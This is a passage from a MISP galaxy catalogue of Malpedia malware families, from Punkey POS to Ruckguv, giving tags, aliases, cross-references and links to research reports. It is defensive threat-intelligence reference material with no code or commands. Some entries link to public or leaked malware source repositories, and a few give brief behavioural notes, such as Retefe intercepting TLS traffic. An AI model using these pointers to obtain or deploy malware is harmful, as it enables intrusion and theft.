http://blog.alyac.co.kr/1853
https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html

Punkey POS

The tag is: *misp-galaxy:malpedia="Punkey POS"*

Punkey POS is also known as:

Table 1365. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.punkey_pos
https://www.trustwave.com/Resources/SpiderLabs-Blog/New-POS-Malware-Emerges---Punkey/
https://www.pandasecurity.com/mediacenter/malware/punkeypos/

pupy

The tag is: *misp-galaxy:malpedia="pupy"*

pupy is also known as:

Table 1366. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pupy
https://github.com/n1nj4sec/pupy
https://researchcenter.paloaltonetworks.com/2017/02/unit42-magic-hound-campaign-attacks-saudi-targets/
https://blog.cyber4sight.com/2017/02/malicious-powershell-script-analysis-indicates-shamoon-actors-used-pupy-rat/
https://www.secureworks.com/blog/iranian-pupyrat-bites-middle-eastern-organizations

Pushdo

Pushdo is usually classified as a "downloader" trojan - meaning its true purpose is to download and install additional malicious software. There are dozens of downloader trojan families out there, but Pushdo is actually more sophisticated than most, but that sophistication lies in the Pushdo control server rather than the trojan.

The tag is: *misp-galaxy:malpedia="Pushdo"*

Pushdo is also known as:

Pushdo has relationships with:

- similar: misp-galaxy:botnet="Pushdo" with estimative-language:likelihood-probability="likely"

Table 1367. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pushdo
https://www.secureworks.com/research/pushdo
https://www.trendmicro.de/cloud-content/us/pdfs/business/white-papers/wp_study-of-pushdo-cutwail-botnet.pdf
http://malware-traffic-analysis.net/2017/04/03/index2.html
https://www.blueliv.com/research/tracking-the-footproints-of-pushdo-trojan/

Putabmow

The tag is: *misp-galaxy:malpedia="Putabmow"*

Putabmow is also known as:

Table 1368. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.putabmow

PvzOut

The tag is: *misp-galaxy:malpedia="PvzOut"*

PvzOut is also known as:

Table 1369. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pvzout
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

pwnpos

The tag is: *misp-galaxy:malpedia="pwnpos"*

pwnpos is also known as:

Table 1370. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pwnpos
https://blog.trendmicro.com/trendlabs-security-intelligence/pwnpos-old-undetected-pos-malware-still-causing-havoc/
https://www.brimorlabsblog.com/2015/03/and-you-get-pos-malware-nameand-you-get.html
https://twitter.com/physicaldrive0/status/573109512145649664

Pykspa

The tag is: *misp-galaxy:malpedia="Pykspa"*

Pykspa is also known as:

Table 1371. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pykspa
https://www.johannesbader.ch/2015/03/the-dga-of-pykspa/
https://www.johannesbader.ch/2015/07/pykspas-inferior-dga-version/
https://www.youtube.com/watch?v=HfSQlC76_s4

PyLocky

PyLocky is a ransomware that tries to pass off as Locky in its ransom note. It is written in Python and packaged with PyInstaller.

The tag is: *misp-galaxy:malpedia="PyLocky"*

PyLocky is also known as:

- Locky Locker

Table 1372. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.pylocky
https://sensorstechforum.com/lockymap-files-virus-pylocky-ransomware-remove-restore-data/
https://www.cert.ssi.gouv.fr/alerte/CERTFR-2018-ALE-008/
https://blog.trendmicro.com/trendlabs-security-intelligence/a-closer-look-at-the-locky-poser-pylocky-ransomware/

Qaccel

The tag is: *misp-galaxy:malpedia="Qaccel"*

Qaccel is also known as:

Table 1373. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qaccel

Qadars

The tag is: *misp-galaxy:malpedia="Qadars"*

Qadars is also known as:

Qadars has relationships with:

- similar: misp-galaxy:banker="Qadars" with estimative-language:likelihood-probability="likely"

Table 1374. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qadars
https://info.phishlabs.com/blog/dissecting-the-qadars-banking-trojan
https://www.johannesbader.ch/2016/04/the-dga-of-qadars/
https://securityintelligence.com/an-analysis-of-the-qadars-trojan/
https://securityintelligence.com/meanwhile-britain-qadars-v3-hardens-evasion-targets-18-uk-banks/
https://www.welivesecurity.com/2013/12/18/qadars-a-banking-trojan-with-the-netherlands-in-its-sights/
https://pages.phishlabs.com/rs/130-BFB-942/images/Qadars%20-%20Final.pdf

QakBot

The tag is: *misp-galaxy:malpedia="QakBot"*

QakBot is also known as:

- Qbot
- Pinkslipbot

QakBot has relationships with:

- similar: misp-galaxy:tool="Akbot" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Qakbot" with estimative-language:likelihood-probability="likely"

Table 1375. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qakbot
https://www.johannesbader.ch/2016/02/the-dga-of-qakbot/
https://www.cylance.com/en_us/blog/threat-spotlight-the-return-of-qakbot-malware.html
https://media.scmagazine.com/documents/225/bae_qbot_report_56053.pdf
https://securityintelligence.com/qakbot-banking-trojan-causes-massive-active-directory-lockouts/
https://www.virusbulletin.com/uploads/pdf/magazine/2016/VB2016-Karve-etal.pdf
http://contagiodump.blogspot.com/2010/11/template.html
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_qakbot_in_detail.pdf
https://www.vkremez.com/2018/07/lets-learn-in-depth-reversing-of-qakbot.html

QHost

The tag is: *misp-galaxy:malpedia="QHost"*

QHost is also known as:

- Tolouge

Table 1376. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qhost

QtBot

The tag is: *misp-galaxy:malpedia="QtBot"*

QtBot is also known as:

- qtproject

Table 1377. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.qtbot
https://researchcenter.paloaltonetworks.com/2017/11/unit42-everybody-gets-one-qtbot-used-distribute-trickbot-locky/

Quant Loader

The tag is: *misp-galaxy:malpedia="Quant Loader"*

Quant Loader is also known as:

Quant Loader has relationships with:

- similar: misp-galaxy:tool="Quant Loader" with estimative-language:likelihood-probability="likely"

Table 1378. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quant_loader
https://malwarebreakdown.com/2017/10/10/malvertising-campaign-uses-rig-ek-to-drop-quant-loader-which-downloads-formbook/
https://blog.trendmicro.com/trendlabs-security-intelligence/necurs-evolves-to-evade-spam-detection-via-internet-shortcut-file/
https://blog.malwarebytes.com/threat-analysis/2018/03/an-in-depth-malware-analysis-of-quantloader/
https://www.proofpoint.com/us/threat-insight/post/leaked-source-code-ammyy-admin-turned-flawedammyy-rat
https://blogs.forcepoint.com/security-labs/locky-distributor-uses-newly-released-quant-loader-sold-russian-underground

Quasar RAT

Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.

The tag is: *misp-galaxy:malpedia="Quasar RAT"*

Quasar RAT is also known as:

Quasar RAT has relationships with:

- similar: misp-galaxy:rat="Quasar RAT" with estimative-language:likelihood-probability="likely"

Table 1379. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat
https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/
https://github.com/quasar/QuasarRAT/tree/master/Client
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf?platform=hootsuite
https://ti.360.net/blog/articles/analysis-of-apt-c-09-target-china/
https://twitter.com/malwrhunterteam/status/789153556255342596
http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments
https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/
https://www.welivesecurity.com/2018/07/17/deep-dive-vermin-rathole/
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

r980

The tag is: *misp-galaxy:malpedia="r980"*

r980 is also known as:

Table 1380. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.r980
https://otx.alienvault.com/pulse/57976b52b900fe01376feb01/

Radamant

The tag is: *misp-galaxy:malpedia="Radamant"*

Radamant is also known as:

Radamant has relationships with:

- similar: misp-galaxy:ransomware="Radamant" with estimative-language:likelihood-probability="likely"

Table 1381. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.radamant

https://www.cyphort.com/radamant-ransomware-distributed-via-rig-ek/

RadRAT

The tag is: *misp-galaxy:malpedia="RadRAT"*

RadRAT is also known as:

RadRAT has relationships with:

- similar: misp-galaxy:rat="RadRAT" with estimative-language:likelihood-probability="likely"

Table 1382. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.radrat
https://labs.bitdefender.com/2018/04/radrat-an-all-in-one-toolkit-for-complex-espionage-ops/

Rambo

The tag is: *misp-galaxy:malpedia="Rambo"*

Rambo is also known as:

- brebsd

Table 1383. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rambo
https://www.morphick.com/resources/news/deep-dive-dragonok-rambo-backdoor

Ramdo

The tag is: *misp-galaxy:malpedia="Ramdo"*

Ramdo is also known as:

Table 1384. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ramdo

Ramnit

The tag is: *misp-galaxy:malpedia="Ramnit"*

Ramnit is also known as:

- Nimnul

Ramnit has relationships with:

- similar: misp-galaxy:banker="Ramnit" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:botnet="Ramnit" with estimative-language:likelihood-probability="likely"

Table 1385. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ramnit
https://malwarebreakdown.com/2017/08/23/the-seamless-campaign-isnt-losing-any-steam/
https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/
http://www.nao-sec.org/2018/01/analyzing-ramnit-used-in-seamless.html
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/w32-ramnit-analysis-15-en.pdf
http://www.vkremez.com/2018/02/deeper-dive-into-ramnit-banker-vnc-ifsb.html
http://contagiodump.blogspot.com/2012/01/blackhole-ramnit-samples-and-analysis.html
https://research.checkpoint.com/ramnits-network-proxy-servers/

Ranbyus

The tag is: *misp-galaxy:malpedia="Ranbyus"*

Ranbyus is also known as:

Ranbyus has relationships with:

- similar: misp-galaxy:banker="Ranbyus" with estimative-language:likelihood-probability="likely"

Table 1386. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ranbyus
https://www.johannesbader.ch/2015/05/the-dga-of-ranbyus/
http://www.xylibox.com/2013/01/trojanwin32spyranbyus.html
https://www.welivesecurity.com/2012/12/19/win32spy-ranbyus-modifying-java-code-in-rbs/
https://www.welivesecurity.com/2012/06/05/smartcard-vulnerabilities-in-modern-banking-malware/

Ranscam

The tag is: *misp-galaxy:malpedia="Ranscam"*

Ranscam is also known as:

Ranscam has relationships with:

- similar: misp-galaxy:ransomware="CryptoFinancial" with estimative-language:likelihood-probability="likely"

Table 1387. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ranscam
http://blog.talosintel.com/2016/07/ranscam.html

Ransoc

The tag is: *misp-galaxy:malpedia="Ransoc"*

Ransoc is also known as:

Ransoc has relationships with:

- similar: misp-galaxy:ransomware="Ransoc" with estimative-language:likelihood-probability="likely"

Table 1388. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransoc
https://www.proofpoint.com/us/threat-insight/post/ransoc-desktop-locking-ransomware-ransacks-local-files-social-media-profiles

Ransomlock

The tag is: *misp-galaxy:malpedia="Ransomlock"*

Ransomlock is also known as:

- WinLock

Table 1389. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ransomlock
https://www.symantec.com/security_response/writeup.jsp?docid=2012-022215-2340-99&tabid=2
https://forum.malekal.com/viewtopic.php?t=36485&start=

Rapid Ransom

The tag is: *misp-galaxy:malpedia="Rapid Ransom"*

Rapid Ransom is also known as:

Table 1390. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_ransom
https://twitter.com/malwrhunterteam/status/977275481765613569
https://twitter.com/malwrhunterteam/status/997748495888076800

RapidStealer

The tag is: *misp-galaxy:malpedia="RapidStealer"*

RapidStealer is also known as:

Table 1391. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rapid_stealer
http://pwc.blogs.com/cyber_security_updates/2014/09/malware-microevolution.html

rarstar

The tag is: *misp-galaxy:malpedia="rarstar"*

rarstar is also known as:

Table 1392. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rarstar
https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses

RatabankaPOS

The tag is: *misp-galaxy:malpedia="RatabankaPOS"*

RatabankaPOS is also known as:

Table 1393. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ratabankapos
https://www.proofpoint.com/sites/default/files/pfpt-us-wp-north-korea-bitten-by-bitcoin-bug.pdf
http://blog.trex.re.kr/3

RawPOS

The tag is: *misp-galaxy:malpedia="RawPOS"*

RawPOS is also known as:

RawPOS has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="RawPOS - S0169" with estimative-language:likelihood-probability="likely"

Table 1394. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rawpos
https://threatvector.cylance.com/en_us/home/rawpos-malware.html
http://blog.trendmicro.com/trendlabs-security-intelligence/rawpos-new-behavior-risks-identity-theft/?platform=hootsuite

RCS

The tag is: *misp-galaxy:malpedia="RCS"*

RCS is also known as:

- Remote Control System
- Crisis

RCS has relationships with:

- similar: misp-galaxy:malpedia="Crisis" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:android="Crisis" with estimative-language:likelihood-probability="likely"

Table 1395. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rcs
https://www.f-secure.com/documents/996508/1030745/callisto-group
https://www.welivesecurity.com/2018/03/09/new-traces-hacking-team-wild/

rdasrv

The tag is: *misp-galaxy:malpedia="rdasrv"*

rdasrv is also known as:

Table 1396. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rdasrv
https://www.wired.com/wp-content/uploads/2014/09/wp-pos-ram-scraper-malware.pdf

ReactorBot

Please note: ReactorBot in its naming is often mistakenly labeled as Rovnix. ReactorBot is a full blown bot with modules, whereas Rovnix is just a bootkit / driver component (originating from Carberp), occasionally delivered alongside ReactorBot.

The tag is: *misp-galaxy:malpedia="ReactorBot"*

ReactorBot is also known as:

ReactorBot has relationships with:

- similar: misp-galaxy:banker="ReactorBot" with estimative-language:likelihood-probability="likely"

Table 1397. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reactorbot
http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html
http://www.malwaredigger.com/2015/06/rovnix-payload-and-plugin-analysis.html
http://blog.trendmicro.com/trendlabs-security-intelligence/rovnix-infects-systems-with-password-protected-macros/
https://www.symantec.com/connect/blogs/new-carberp-variant-heads-down-under

Reaver

Reaver is a type of malware discovered by researchers at Palo Alto Networks in November 2017, but its activity dates back to at least late 2016. Researchers identified only ten unique samples of the malware, indicating limited use, and three different variants, noted as versions 1, 2, and 3. The malware is unique as its final payload masquerades as a control panel link (CPL) file. The intended targets of this activity are unknown as of this writing; however, it was used concurrently with the SunOrcal malware and the same C2 infrastructure used by threat actors who primarily target based on the "Five Poisons" - five perceived threats deemed dangerous to, and working against the interests of, the Chinese government.

The tag is: *misp-galaxy:malpedia="Reaver"*

Reaver is also known as:

Reaver has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Reaver - S0172" with estimative-language:likelihood-probability="likely"

Table 1398. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.reaver

https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/

RedAlpha

The tag is: *misp-galaxy:malpedia="RedAlpha"*

RedAlpha is also known as:

Table 1399. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redalpha
https://www.recordedfuture.com/redalpha-cyber-campaigns/

RedLeaves

The tag is: *misp-galaxy:malpedia="RedLeaves"*

RedLeaves is also known as:

RedLeaves has relationships with:

- similar: misp-galaxy:rat="RedLeaves" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:mitre-enterprise-attack-malware="RedLeaves - S0153" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="BUGJUICE" with estimative-language:likelihood-probability="likely"

Table 1400. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.redleaves
http://blog.macnica.net/blog/2017/12/post-8c22.html
https://www.accenture.com/t20180423T055005Z*w*/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf[https://www.accenture.com/t20180423T055005Z*w*/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf]
http://blog.jpcert.or.jp/.s/2017/04/redleaves---malware-based-on-open-source-rat.html
https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf
https://github.com/nccgroup/Cyber-Defence/tree/master/Technical%20Notes/Red%20Leaves
https://www.jpcert.or.jp/magazine/acreport-redleaves.html

Red Alert

The tag is: *misp-galaxy:malpedia="Red Alert"*

Red Alert is also known as:

Red Alert has relationships with:

- similar: misp-galaxy:ransomware="Red Alert" with estimative-language:likelihood-probability="likely"

Table 1401. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.red_alert
https://twitter.com/JaromirHorejsi/status/816237293073797121

Red Gambler

The tag is: *misp-galaxy:malpedia="Red Gambler"*

Red Gambler is also known as:

Table 1402. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.red_gambler
http://image.ahnlab.com/file_upload/asecissue_files/ASEC%20REPORT_vol.91.pdf

reGeorg

The tag is: *misp-galaxy:malpedia="reGeorg"*

reGeorg is also known as:

reGeorg has relationships with:

- similar: misp-galaxy:tool="reGeorg" with estimative-language:likelihood-probability="likely"

Table 1403. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.regeorg
https://sensepost.com/discover/tools/reGeorg/
https://github.com/sensepost/reGeorg

Regin

The tag is: *misp-galaxy:malpedia="Regin"*

Regin is also known as:

Regin has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Regin - S0019" with estimative-

language:likelihood-probability="likely"

- similar: misp-galaxy:tool="Regin" with estimative-language:likelihood-probability="likely"

Table 1404. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.regin
https://www.youtube.com/watch?v=jeLd-gw2bWo

Remcos

The tag is: *misp-galaxy:malpedia="Remcos"*

Remcos is also known as:

Remcos has relationships with:

- similar: misp-galaxy:rat="Remcos" with estimative-language:likelihood-probability="likely"

Table 1405. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos
https://blog.talosintelligence.com/2018/08/picking-apart-remcos.html
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/
http://malware-traffic-analysis.net/2017/12/22/index.html
https://blog.fortinet.com/2017/02/14/remcos-a-new-rat-in-the-wild-2
https://krabsonsecurity.com/2018/03/02/analysing-remcos-rats-executable/
https://myonlinesecurity.co.uk/fake-order-spoofed-from-finchers-ltd-sankyo-rubber-delivers-remcos-rat-via-ace-attachments/
https://www.riskiq.com/blog/labs/spear-phishing-turkish-defense-contractors/
https://secrary.com/ReversingMalware/RemcosRAT/

Remexi

The tag is: *misp-galaxy:malpedia="Remexi"*

Remexi is also known as:

Table 1406. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remexi
http://www.symantec.com/content/en/us/enterprise/media/security_response/docs/CadelSpy-Remexi-IOC.pdf

https://www.symantec.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions

Remsec

The tag is: *misp-galaxy:malpedia="Remsec"*

Remsec is also known as:

Remsec has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Remsec - S0125" with estimative-language:likelihood-probability="likely"

Table 1407. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remsec_strider
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf

Remy

The tag is: *misp-galaxy:malpedia="Remy"*

Remy is also known as:

Table 1408. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.remy

Rerdom

The tag is: *misp-galaxy:malpedia="Rerdom"*

Rerdom is also known as:

Table 1409. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rerdom
https://www.coresecurity.com/sites/default/files/resources/2017/03/Behind_Malware_Infection_Chain.pdf

Retadup

The tag is: *misp-galaxy:malpedia="Retadup"*

Retadup is also known as:

Table 1410. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.retadup
http://blog.trendmicro.com/trendlabs-security-intelligence/information-stealer-found-hitting-israeli-hospitals/

Retefe

Retefe is a Windows Banking Trojan that can also download and install additional malware onto the system using Windows PowerShell. It's primary functionality is to assist the attacker with stealing credentials for online banking websites. It is typically targeted against Swiss banks. The malware binary itself is primarily a dropper component for a Javascript file which builds a VBA file which in turn loads multiple tools onto the host including: 7zip and TOR. The VBA installs a new root certificate and then forwards all traffic via TOR to the attacker controlled host in order to effectively MITM TLS traffic.

The tag is: *misp-galaxy:malpedia="Retefe"*

Retefe is also known as:

- Tsukuba
- Werdlod

Retefe has relationships with:

- similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Retefe" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:banker="Dok" with estimative-language:likelihood-probability="likely"

Table 1411. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.retefe
https://www.govcert.admin.ch/blog/33/the-retefe-saga
https://threatpost.com/eternalblue-exploit-used-in-retefe-banking-trojan-campaign/128103/
https://researchcenter.paloaltonetworks.com/2015/08/retefe-banking-trojan-targets-sweden-switzerland-and-japan/
https://github.com/cocaman/retefe

Revenge RAT

The tag is: *misp-galaxy:malpedia="Revenge RAT"*

Revenge RAT is also known as:

- Revetrat

Table 1412. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.revenge_rat
http://blog.deniable.org/blog/2016/08/26/lurking-around-revenge-rat/
https://isc.sans.edu/diary/rss/22590
https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/

RGDoor

The tag is: *misp-galaxy:malpedia="RGDoor"*

RGDoor is also known as:

Table 1413. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rgdoor
https://researchcenter.paloaltonetworks.com/2017/09/unit42-striking-oil-closer-look-adversary-infrastructure/
https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/

Rikamanu

The tag is: *misp-galaxy:malpedia="Rikamanu"*

Rikamanu is also known as:

Table 1414. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rikamanu
https://www.symantec.com/blogs/threat-intelligence/thrip-hits-satellite-telecoms-defense-targets

Rincux

The tag is: *misp-galaxy:malpedia="Rincux"*

Rincux is also known as:

Table 1415. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rincux

Ripper ATM

The tag is: *misp-galaxy:malpedia="Ripper ATM"*

Ripper ATM is also known as:

Table 1416. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ripper_atm
http://blog.trendmicro.com/trendlabs-security-intelligence/untangling-ripper-atm-malware/

rock

The tag is: *misp-galaxy:malpedia="rock"*

rock is also known as:

- yellowalbatross

Table 1417. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rock
https://github.com/securitykitten/malware_references/blob/master/rmshixdAPT-C-15-20160630.pdf

Rockloader

The tag is: *misp-galaxy:malpedia="Rockloader"*

Rockloader is also known as:

Table 1418. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rockloader
https://www.proofpoint.com/us/threat-insight/post/Locky-Ransomware-Cybercriminals-Introduce-New-RockLoader-Malware

Rofin

The tag is: *misp-galaxy:malpedia="Rofin"*

Rofin is also known as:

Table 1419. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rofin

Rokku

The tag is: *misp-galaxy:malpedia="Rokku"*

Rokku is also known as:

Rokku has relationships with:

- similar: misp-galaxy:ransomware="Rokku" with estimative-language:likelihood-probability="likely"

Table 1420. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rokku

RokRAT

The tag is: *misp-galaxy:malpedia="RokRAT"*

RokRAT is also known as:

Table 1421. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rokrat
http://blog.talosintelligence.com/2017/04/introducing-rokrat.html
http://s3.amazonaws.com/talos-intelligence-site/production/document_files/files/000/002/191/original/Talos_RokRatWhitePaper.pdf
http://blog.talosintelligence.com/2017/11/ROKRAT-Reloaded.html
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://www.carbonblack.com/2018/02/27/threat-analysis-rokrat-malware/
https://www.youtube.com/watch?v=uoBQE5s2ba4

Rombertik

The tag is: *misp-galaxy:malpedia="Rombertik"*

Rombertik is also known as:

- CarbonGrabber

Table 1422. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rombertik
http://blogs.cisco.com/security/talos/rombertik

Romeo(Alfa,Bravo, ...)

The tag is: *misp-galaxy:malpedia="Romeo(Alfa,Bravo, ...)"*

Romeo(Alfa,Bravo, ...) is also known as:

Table 1423. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.romeos

Roopirs

The tag is: *misp-galaxy:malpedia="Roopirs"*

Roopirs is also known as:

Table 1424. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roopirs

Roseam

The tag is: *misp-galaxy:malpedia="Roseam"*

Roseam is also known as:

Table 1425. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.roseam
http://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/

Rover

The tag is: *misp-galaxy:malpedia="Rover"*

Rover is also known as:

Rover has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="Rover - S0090" with estimative-language:likelihood-probability="likely"

Table 1426. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.rover
http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/

Rovnix

Rovnix is a bootkit and consists of a driver loader (in the VBR) and the drivers (32bit, 64bit) themselves. It is part of the Carberp source code leak (https://github.com/nyx0/Rovnix). Rovnix has been used to protect Gozi ISFB, ReactorBot and Rerdom (at least).

The tag is: *misp-galaxy:malpedia="Rovnix"*

Rovnix is also known as:

- Mayachok
- Cidox
- BkLoader

Rovnix has relationships with:

- similar: misp-galaxy:tool="Rovnix" with estimative-language:likelihood-probability="likely"

Table 1427. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rovnix
https://securelist.com/cybercriminals-switch-from-mbr-to-ntfs-2/29117/
http://www.kernelmode.info/forum/viewtopic.php?f=16&t=981
https://news.drweb.ru/?i=1772&c=23&lng=ru&p=0
https://www.welivesecurity.com/2012/07/13/rovnix-bootkit-framework-updated/
https://blogs.technet.microsoft.com/mmpc/2013/07/25/the-evolution-of-rovnix-private-tcpip-stacks/
https://blogs.technet.microsoft.com/mmpc/2014/05/04/the-evolution-of-rovnix-new-virtual-file-system-vfs/
http://www.malwaretech.com/2014/05/rovnix-new-evolution.html
https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-RodionovMatrosov.pdf
http://www.malwaredigger.com/2015/05/rovnix-dropper-analysis.html

RoyalCli

The tag is: *misp-galaxy:malpedia="RoyalCli"*

RoyalCli is also known as:

RoyalCli has relationships with:

- similar: misp-galaxy:tool="RoyalCli" with estimative-language:likelihood-probability="likely"

Table 1428. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.royalcli
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://github.com/nccgroup/Royal_APT

Royal DNS

The tag is: *misp-galaxy:malpedia="Royal DNS"*

Royal DNS is also known as:

Table 1429. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.royal_dns
https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/
https://github.com/nccgroup/Royal_APT

Rozena

The tag is: *misp-galaxy:malpedia="Rozena"*

Rozena is also known as:

Table 1430. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rozena
https://www.gdatasoftware.com/blog/2018/06/30862-fileless-malware-rozena

RTM

The tag is: *misp-galaxy:malpedia="RTM"*

RTM is also known as:

RTM has relationships with:

- similar: misp-galaxy:mitre-enterprise-attack-malware="RTM - S0148" with estimative-language:likelihood-probability="likely"

Table 1431. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/win.rtm
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

rtpos

The tag is: *misp-galaxy:malpedia="rtpos"*

rtpos is also known as:

Table 1432. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.rtpos
https://boozallenmts.com/resources/news/rtpos-new-point-sale-malware-family-uncovered

Ruckguv

The tag is: *misp-galaxy:malpedia="Ruckguv"*

Ruckguv is also known as:

Ruckguv has relationships with:

- similar: misp-galaxy:tool="Ruckguv" with estimative-language:likelihood-probability="likely"

Table 1433. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ruckguv
